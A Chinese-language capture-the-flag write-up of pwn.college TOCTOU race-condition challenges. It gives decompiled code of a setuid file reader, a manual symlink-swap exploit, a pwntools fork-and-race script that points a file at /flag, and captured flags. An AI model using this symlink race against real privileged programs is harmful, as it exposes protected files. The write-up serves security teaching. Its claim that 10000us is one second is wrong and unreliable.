TOCTOU

image-20230627003548449

level1.0

运行查看

该程序会打开一个文件,文件名是命令行中的第一个参数argv[1]。且该程序会检查文件path中不能包含flag,文件不能是一个符号链接。

hacker@race-conditions-level-1-0:/challenge$ ll
total 28
drwsr-xr-x 1 root root  4096 Jun 26 16:16 ./
drwxr-xr-x 1 root root  4096 Jun 26 16:16 ../
-rwsr-xr-x 1 root root 17464 Feb 22 02:18 babyrace_level1.0*

hacker@race-conditions-level-1-0:/challenge$ file babyrace_level1.0 
babyrace_level1.0: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b04434348b708f24cf7dae3754835b8c9f6b428b, for GNU/Linux 3.2.0, not stripped

hacker@race-conditions-level-1-0:/challenge$ ./babyrace_level1.0
###
### Welcome to ./babyrace_level1.0!
###

Through this series of challenges, you will become familiar with the concept of race conditions. This challenge allows
you to open a single file, as specified by the first argument to the program (argv[1]).

The file opened will be be sent to you.

This challenge will verify that the file's path does not include "flag".
This challenge will verify that the file is not a symlink.
babyrace_level1.0: <stdin>:47: main: Assertion `argc > 1' failed.
Aborted

IDA反编译

下载,拖进IDA反编译。

int __cdecl main(int argc, const char **argv, const char **envp)
{ // 【1】文件名通过argv[1]传入程序
  int v3; // eax
  size_t v4; // rax
  struct stat stat_buf; // [rsp+20h] [rbp-1A0h] BYREF
  char buf[264]; // [rsp+B0h] [rbp-110h] BYREF
  unsigned __int64 v8; // [rsp+1B8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("###"); // 【2】打印文字
  printf("### Welcome to %s!\n", *argv);
  puts("###");
  putchar(10);
  puts(
    "Through this series of challenges, you will become familiar with the concept of race conditions. This challenge allows");
  puts("you to open a single file, as specified by the first argument to the program (argv[1]).\n");
  puts("The file opened will be be sent to you.\n");
  puts("This challenge will verify that the file's path does not include \"flag\".");
  puts("This challenge will verify that the file is not a symlink.");
  if ( argc <= 1 )// 【3】 检查是否有传入参数
    __assert_fail("argc > 1", "<stdin>", 0x2Fu, "main");
  if ( strstr(argv[1], "flag") ) // 【4】检查文件名中是否包含flag
  {
    puts("Error: path contains `flag`!");
    exit(1);
  }
  puts("Calling lstat (does not follow symlinks) on the path.\n"); // 【5】如果不包含flag,打印文字
  puts("Paused (press enter to continue)");
  getchar(); // 【6】等待输入
  if ( (unsigned int)lstat((char *)argv[1], &stat_buf) == -1 ) // 【7】获取文件信息
  {
    puts("Error: failed to get file status!");
    exit(1);
  }
  if ( (stat_buf.st_mode & 0xF000) == 40960 ) // 【8】检查文件是否是符号链接
  {
    puts("Error: file is a symlink!");
    exit(1);
  }
  puts("Sleeping for 10000us!\n");
  usleep(0x2710u); // 【9】如果文件不是符号链接,睡眠10000us
  puts("Paused (press enter to continue)");
  getchar(); // 【10】等待输入
  v3 = open(argv[1], 0); // 【11】打开文件
  v4 = read(v3, buf, 0x100uLL); // 【12】读取文件
  write(1, buf, v4); // 【13】将读取的内容写到stdout
  puts("### Goodbye!");
  return 0;
}
  • Time of Check:

    • 【4】文件名中不包含flag
    • 【7-8】文件不是符号链接
  • Time of Use:

    • 【11-13】读取文件内容并写到stdout

Check和Use中间存在一个很大的窗口,尤其是有usleep和getchar。假设一开始创建一个空文件aaa,那么很明显能通过两个check。如果在【8】->【11】的这一段时间里,将test改成/flag的symlink,那么就能读取flag!!!

Expolit

# 【1】创建空文件aaa
hacker@race-conditions-level-1-0:/challenge$ touch ~/aaa
hacker@race-conditions-level-1-0:/challenge$ ls ~/aaa
/home/hacker/aaa

# 【2】执行漏洞文件
hacker@race-conditions-level-1-0:/challenge$ ./babyrace_level1.0 /home/hacker/aaa 
###
### Welcome to ./babyrace_level1.0!
###

Through this series of challenges, you will become familiar with the concept of race conditions. This challenge allows
you to open a single file, as specified by the first argument to the program (argv[1]).

The file opened will be be sent to you.

This challenge will verify that the file's path does not include "flag".
This challenge will verify that the file is not a symlink.
Calling lstat (does not follow symlinks) on the path.

Paused (press enter to continue) # 【3】回车

Sleeping for 10000us!

Paused (press enter to continue) # 【4】程序停在这,等待输入

pwn.college{QgBeUPjfJ7iPR9rxJFUIilbTL9P.QXxADNsgjM5QzW}
### Goodbye!

另开一个终端窗口:

# 【5】修改aaa为/flag的符号链接
hacker@race-conditions-level-1-0:/challenge$ ln -fs /flag /home/hacker/aaa
hacker@race-conditions-level-1-0:/challenge$ 

回到第一个终端窗口:

Paused (press enter to continue) # 【4】程序停在这,等待输入->【6】回车

pwn.college{QgBeUPjfJ7iPR9rxJFUIilbTL9P.QXxADNsgjM5QzW} # 【7】flag被打印出来
### Goodbye!

level1.1

运行查看

# 【1】一样,需要带参数运行
hacker@race-conditions-level-1-1:/challenge$ ./babyrace_level1.1 
###
### Welcome to ./babyrace_level1.1!
###

babyrace_level1.1: <stdin>:40: main: Assertion `argc > 1' failed.
Aborted

# 【2】参数不能带flag
hacker@race-conditions-level-1-1:/challenge$ ./babyrace_level1.1 /flag
###
### Welcome to ./babyrace_level1.1!
###

Error: path contains `flag`!

# 【3】程序功能同样是读取并打印文件内容
hacker@race-conditions-level-1-1:/challenge$ ./babyrace_level1.1 /etc/profile
###
### Welcome to ./babyrace_level1.1!
###

# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).

if [ "${PS1-}" ]; then
  if [ "${BASH-}" ] && [ "$BASH" != "/bin/sh" ]; then
    # The file bash.bashrc already sets the ### Goodbye!

# 【4】验证确实是读取并打印文件内容
hacker@race-conditions-level-1-1:/challenge$ cat /etc/profile
# /etc/profile: system-wide .profile file for the Bourne shell (sh(1))
# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...).

if [ "${PS1-}" ]; then
  if [ "${BASH-}" ] && [ "$BASH" != "/bin/sh" ]; then
    # The file bash.bashrc already sets the default PS1.
    # PS1='\h:\w\$ '
    if [ -f /etc/bash.bashrc ]; then
      . /etc/bash.bashrc
    fi
  else
    if [ "`id -u`" -eq 0 ]; then
      PS1='# '
    else
      PS1='$ '
    fi
  fi
fi

if [ -d /etc/profile.d ]; then
  for i in /etc/profile.d/*.sh; do
    if [ -r $i ]; then
      . $i
    fi
  done
  unset i
fi

IDA反编译

level1.0差不多,不过是中间少了一些打印语句,以及getchar()。check和use中间仍然有1秒的时间窗,手动肯定是来不及了,那就用脚本来利用TOCTOU。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  size_t v4; // rax
  struct stat stat_buf; // [rsp+20h] [rbp-1A0h] BYREF
  char buf[264]; // [rsp+B0h] [rbp-110h] BYREF
  unsigned __int64 v8; // [rsp+1B8h] [rbp-8h]

  v8 = __readfsqword(0x28u);                    // 【1】文件名通过argv[1]传入程序
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  puts("###");                                  // 【2】打印文字
  printf("### Welcome to %s!\n", *argv);
  puts("###");
  putchar(10);
  if ( argc <= 1 )                              // 【3】 检查是否有传入参数
    __assert_fail("argc > 1", "<stdin>", 0x28u, "main");
  if ( strstr(argv[1], "flag") )                // 【4】检查文件名中是否包含flag
  {
    puts("Error: path contains `flag`!");
    exit(1);
  }
  if ( (unsigned int)lstat((char *)argv[1], &stat_buf) == -1 )// 【5】获取文件信息
  {
    puts("Error: failed to get file status!");
    exit(1);
  }
  if ( (stat_buf.st_mode & 0xF000) == 40960 )   // 【6】检查文件是否是符号链接
  {
    puts("Error: file is a symlink!");
    exit(1);
  }
  usleep(0x2710u);                              // 【7】如果文件不是符号链接,睡眠10000us,即1s
  v3 = open(argv[1], 0);                        // 【8】读取文件内容并打印
  v4 = read(v3, buf, 0x100uLL);
  write(1, buf, v4);
  puts("### Goodbye!");
  return 0;
}

Exploit

1、重新创建文件aaa

hacker@race-conditions-level-1-1:/challenge$ rm ~/aaa
hacker@race-conditions-level-1-1:/challenge$ touch ~/aaa

2、在challenge目录下执行如下python脚本,让父子进程竞争,当子进程在那1s内执行了一次时,然后父进程马上进行读操作时,就能读到flag。

先测试一下python重新创建文件的操作:

# 查看测试脚本内容
hacker@race-conditions-level-1-1:~$ cat test.py
import os
os.unlink("/home/hacker/aaa")
os.close(os.open("/home/hacker/aaa", os.O_CREAT))

# 创建文件
hacker@race-conditions-level-1-1:~$ touch aaa
# 查看文件的时间
hacker@race-conditions-level-1-1:~$ ll aaa
-rw-r--r-- 1 hacker hacker 0 Jul  4 15:55 aaa
# 符号链接
hacker@race-conditions-level-1-1:~$ ln -fs /flag aaa
hacker@race-conditions-level-1-1:~$ ll aaa
lrwxrwxrwx 1 hacker hacker 5 Jul  4 15:55 aaa -> /flag
# 删除链接并重新创建文件
hacker@race-conditions-level-1-1:~$ python test.py
# 确认
hacker@race-conditions-level-1-1:~$ ll aaa
-rwxr-xr-x 1 hacker hacker 0 Jul  4 15:56 aaa*

下面是脚本的最终内容:

#! /usr/bin/python3
import os 
from pwn import *

def recreate():
    os.unlink("/home/hacker/aaa")
    os.close(os.open("/home/hacker/aaa", os.O_CREAT))
def symlink2flag():
    os.unlink("/home/hacker/aaa")
    os.symlink("/flag", "/home/hacker/aaa")

if __name__ == "__main__":

    attempts = 0
    forkPID = 0
    # 子进程
    # 【1】如果aaa不存在就创建
    # 【2】不断地重新创建文件aaa并将其符号链接到flag
    if os.fork() == 0:
        forkPID = os.getpid()
        print("child: "+ str(forkPID))
        os.close(os.open("/home/hacker/aaa", os.O_CREAT))
        while True:
            recreate()
            symlink2flag()

    # 父进程不断运行 /challenge/babyrace_level1.1 /home/hacker/aaa,并接收返回
    # 如果返回结果中包含pwn.college,那就打印并结束
    else: 
        while True:
            attempts += 1 
            p = process(["/challenge/babyrace_level1.1", "/home/hacker/aaa"], level="CRITICAL")
            result = (p.readall().decode())
            if "pwn.college" in result:
                log.success(result)
                log.info(f"Took {attempts} attempts")
                cmd = "kill " + str(forkPID)
                os.system(cmd)
                break
            p.close()

结果如下:

hacker@race-conditions-level-1-1:/challenge$ python ~/exp1.py 
[+] ###
    ### Welcome to /challenge/babyrace_level1.1!
    ###
    
    pwn.college{ouPxxbqEWTMxJexCQrI6EVRpDCL.QXyADNsgjM5QzW}
    ### Goodbye!
[*] Took 2 attempts

这个还是不更新了,公开不大好。

参考文献

  • https://cov-comsec.github.io/posts/2022_race_conditions/
  • https://cov-comsec.github.io/posts/2022_race_conditions/presentation.pdf